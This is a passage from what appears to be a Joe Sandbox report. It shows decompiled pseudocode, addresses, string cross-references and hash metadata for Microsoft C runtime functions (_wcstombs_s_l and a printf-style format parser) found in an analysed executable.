				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E000();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00436DE0(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B190(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E000();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422AF0(_t104))) = 0x22;
							E00422880(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B190(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422AF0(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422AF0(0x7fffffff))) = 0x16;
				E00422880(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00437373
0x00437373
0x00437373
0x00437376
0x0043737d
0x00437394
0x0043739a
0x004373aa
0x004373aa
0x004373ad
0x0043739c
0x0043739c
0x004373a2
0x004373a2
0x004373c0
0x004373c5
0x004373c5
0x004373cc
0x004373ce
0x004373d1
0x004373d1
0x004373dd
0x004373e7
0x004373ea
0x004373df
0x004373e2
0x004373e2
0x004373f0
0x004373fb
0x004373fd
0x00437400
0x00437403
0x00437405
0x0043740a
0x0043740c
0x00437411
0x00437416
0x00437418
0x0043741d
0x00437423
0x00437425
0x00437425
0x00437423
0x0043742a
0x0043746b
0x0043746f
0x00437474
0x00437477
0x0043747a
0x0043747e
0x004374ea
0x004374ed
0x004374f0
0x004374f4
0x004375e1
0x004375e1
0x004375e5
0x004375ed
0x004375ed
0x004375ef
0x00000000
0x004375ef
0x004374fd
0x00437500
0x004375d7
0x004375da
0x004375da
0x004375dd
0x00000000
0x004375dd
0x00437506
0x0043750a
0x004375ca
0x004375cd
0x004375d0
0x00000000
0x004375d0
0x00437513
0x00437516
0x0043751a
0x0043751c
0x00437523
0x00437525
0x00437529
0x00437531
0x00437537
0x00437546
0x00437546
0x00437549
0x00437539
0x00437539
0x0043753e
0x0043753e
0x0043754c
0x00437558
0x0043755c
0x00437561
0x00437561
0x00437529
0x00437523
0x00437564
0x00437567
0x0043756a
0x0043756e
0x00437571
0x00437573
0x00437578
0x0043757a
0x0043757f
0x00437584
0x00437586
0x0043758b
0x0043758e
0x00437591
0x00437593
0x00437593
0x00437591
0x00437594
0x00437598
0x00000000
0x0043759a
0x0043759f
0x004375bb
0x004375c3
0x00000000
0x004375c3
0x00437480
0x00437480
0x00437484
0x00437489
0x0043748c
0x00437490
0x00437492
0x00437499
0x0043749b
0x0043749f
0x004374a7
0x004374ad
0x004374bd
0x004374bd
0x004374c0
0x004374af
0x004374af
0x004374b5
0x004374b5
0x004374cf
0x004374cf
0x004374d3
0x004374d8
0x0043749f
0x00437499
0x00437490
0x004374e0
0x004375f2
0x004375f5
0x004375f5
0x0043747e
0x00437431
0x0043744d
0x00437455
0x00000000

APIs

_memset.LIBCMT ref: 004373C0
__invalid_parameter.LIBCMTD ref: 0043744D

Strings

_wcstombs_s_l, xrefs: 00437443
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437411, 0043743E
bufferSize <= INT_MAX, xrefs: 00437405, 00437448

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction ID: 16811aba3ac02348698642f12a063e5967964169d9482e478540b62d6a8800d3
Opcode Fuzzy Hash: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction Fuzzy Hash: E121A1B0A04349DBCB24CF48C841BAE7760FB59318F20562EEDA52A7C0D7B99950DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C026, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C026(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C760(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043C7A0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043C760(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043C7A0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AAD0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AAD0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B200(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043C700( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043C760(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C1C0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C5F4))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043C700( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
